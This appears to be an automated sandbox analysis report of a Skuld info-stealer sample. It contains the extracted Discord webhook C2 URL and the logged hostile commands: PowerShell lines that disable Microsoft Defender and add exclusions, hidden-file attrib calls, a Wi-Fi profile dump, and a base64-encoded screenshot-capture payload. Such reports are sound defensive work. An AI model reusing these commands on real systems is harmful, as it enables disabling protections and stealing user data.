Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    15/08/2026, 03:04

General

  • Target
    b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037.exe
  • Size 11.7MB
  • Sample260815-dkr5mayta1
  • SHA256 b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • skuld

C2
  • https://discord.com/api/webhooks/1537811722486948001/rFCoHdBC74sTQK9lm9nCVddaKQd2W1xloaBEja-7_kp79qha2ga-Fa6Mf644i9VQp0NB

Signatures

  • Family: Skuld stealer

    An info stealer written in Go lang.

  • Detects SkuldStealer 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies system certificate store 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037.exe
    "C:\Users\Admin\AppData\Local\Temp\b314a11a49d471019fd51f31ddd80c69ae3dbd374c3664a40eeb8ffed9338037.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1040
    • C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
      "C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Adds Run key to start application
      • Modifies trusted root certificate store through registry
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4568
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
        3⤵
        • Views/modifies file attributes
        PID:4260
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1648
      • C:\Windows\System32\Wbem\wmic.exe
        wmic os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3636
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
        3⤵
        • Views/modifies file attributes
        PID:4988
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1392
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Disables one or more Microsoft Defender components
        • Suspicious behavior: EnumeratesProcesses
        PID:3736
      • C:\Windows\System32\Wbem\wmic.exe
        wmic path win32_VideoController get name
        3⤵
        • Detects videocard installed
        PID:3588
      • C:\Windows\System32\Wbem\wmic.exe
        wmic csproduct get UUID
        3⤵
          PID:1712
        • C:\Windows\system32\attrib.exe
          attrib -r C:\Windows\System32\drivers\etc\hosts
          3⤵
          • Drops file in Drivers directory
          • Views/modifies file attributes
          PID:4040
        • C:\Windows\system32\attrib.exe
          attrib +r C:\Windows\System32\drivers\etc\hosts
          3⤵
          • Drops file in Drivers directory
          • Views/modifies file attributes
          PID:60
        • C:\Windows\system32\netsh.exe
          netsh wlan show profiles
          3⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Network Configuration Discovery: Wi-Fi Discovery
          PID:4272
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3276
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xvxtkdsf\xvxtkdsf.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3932
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC89A.tmp" "c:\Users\Admin\AppData\Local\Temp\xvxtkdsf\CSC8842F7246B7D4CD09687FB341E08568.TMP"
              5⤵
                PID:1952

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 2d8d88440ac91d756e52b9029c25684ad2522f9dbb9c800f3929633529497818
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 9158038718d41172c22a3c1a15852405e3e1c8e2c44fa066328eb1520e5d977b
            • MD5 SHA1 SHA512 TLSH

            Display (1).png

            • Path C:\Users\Admin\AppData\Local\Temp\HZOeDnwmOq\Display (1).png
            • Size 591KB
            • SHA256 04775b903d70e6b84c2ffae7d533cb934d6ef333b13806e3f583dd0e366ee40a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            RESC89A.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RESC89A.tmp
            • Size 1KB
            • SHA256 f54bd2f9965b2aa0bb8fd21fd8c1d863b713f18034dde36f18a565d749d10d88
            • MD5 SHA1 SHA512 TLSH

            RtkAud64.exe

            • Path C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
            • Size 10.6MB
            • SHA256 f7ef1ea60a91ca7b41d602847b4b8eb5e0b340a37b7961075c9bae4a1c69b55a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            __PSScriptPolicyTest_jhlfphyp.aau.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jhlfphyp.aau.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            xvxtkdsf.dll

            • Path C:\Users\Admin\AppData\Local\Temp\xvxtkdsf\xvxtkdsf.dll
            • Size 4KB
            • SHA256 06e9fe971de99067e6cfd55dd971b0f4ed312bc815ba05375e1129be9b80730b
            • MD5 SHA1 SHA512 TLSH

            hosts

            • Path C:\Windows\System32\drivers\etc\hosts
            • Size 2KB
            • SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
            • MD5 SHA1 SHA512 TLSH

            CSC8842F7246B7D4CD09687FB341E08568.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\xvxtkdsf\CSC8842F7246B7D4CD09687FB341E08568.TMP
            • Size 652B
            • SHA256 a7056f753255a9244a9f01616ed0c0652c65fc2d7e7f26ce82c807ec2fa8e7b4
            • MD5 SHA1 SHA512 TLSH

            xvxtkdsf.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\xvxtkdsf\xvxtkdsf.0.cs
            • Size 1004B
            • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
            • MD5 SHA1 SHA512 TLSH

            xvxtkdsf.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\xvxtkdsf\xvxtkdsf.cmdline
            • Size 607B
            • SHA256 86b9e97381dc21f1c1925e630eb98531967a53e7bdd57f50a462bd70c89d0c71
            • MD5 SHA1 SHA512 TLSH

            memory/1648-24-0x000002999C5F0000-0x000002999C80C000-memory.dmp

            memory/1648-8-0x000002999C5C0000-0x000002999C5E2000-memory.dmp

            memory/3276-67-0x000001E332160000-0x000001E332168000-memory.dmp

            memory/3276-70-0x000001E34AEB0000-0x000001E34AFFE000-memory.dmp

            memory/3736-44-0x000001CE9DD00000-0x000001CE9DF1C000-memory.dmp